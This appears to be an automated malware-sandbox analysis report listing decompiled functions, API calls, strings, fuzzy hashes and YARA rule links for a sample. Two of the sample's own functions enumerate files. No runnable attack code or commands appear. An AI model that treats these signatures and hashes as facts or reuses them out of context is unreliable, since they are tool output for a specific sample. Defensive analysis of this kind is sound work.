String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

wintrust.dll, xrefs: 6C6672CD
SHA256, xrefs: 6C666EC0
(, xrefs: 6C66768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_CRASH(), xrefs: 6C693950
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
Compile-time page size does not divide the runtime one., xrefs: 6C693946

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526
nvd3d9wrap.dll, xrefs: 6C666500
nvdxgiwrap.dll, xrefs: 6C666513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
detoured.dll, xrefs: 6C6664DA

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 005F38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005F38CC
FindFirstFileA.KERNEL32(?,?), ref: 005F38E3
lstrcat.KERNEL32(?,?), ref: 005F3935
StrCmpCA.SHLWAPI(?,00600F70), ref: 005F3947
StrCmpCA.SHLWAPI(?,00600F74), ref: 005F395D
FindNextFileA.KERNEL32(000000FF,?), ref: 005F3C67
FindClose.KERNEL32(000000FF), ref: 005F3C7C

Strings

%s\%s, xrefs: 005F3A6F
%s\%s, xrefs: 005F397A
%s\*, xrefs: 005F38C0
%s\%s\%s, xrefs: 005F3A4A
%s%s, xrefs: 005F3AAD

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 7ac0cba9b220d57476975fd3964d9d99fd85c5058923b244a1aaeca9648053c1
Instruction ID: b2ab8f1e74a25892af99e2e9a94b2a5c9e8741359008fb927ebfee35a1bbea0e
Opcode Fuzzy Hash: 7ac0cba9b220d57476975fd3964d9d99fd85c5058923b244a1aaeca9648053c1
Instruction Fuzzy Hash: 7AA130B190020D9BDB34DF64DC89FFA7779BF94300F048598A64D96181EB749B85CF62

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 005F4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005F4580
RtlAllocateHeap.NTDLL(00000000), ref: 005F4587
wsprintfA.USER32 ref: 005F45A6
FindFirstFileA.KERNEL32(?,?), ref: 005F45BD
StrCmpCA.SHLWAPI(?,00600FC4), ref: 005F45EB
StrCmpCA.SHLWAPI(?,00600FC8), ref: 005F4601
FindNextFileA.KERNEL32(000000FF,?), ref: 005F468B
FindClose.KERNEL32(000000FF), ref: 005F46A0
lstrcat.KERNEL32(?,01410A70), ref: 005F46C5
lstrcat.KERNEL32(?,0140FCE0), ref: 005F46D8
lstrlen.KERNEL32(?), ref: 005F46E5
lstrlen.KERNEL32(?), ref: 005F46F6

Strings

%s\*, xrefs: 005F459A
%s\%s, xrefs: 005F461B

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
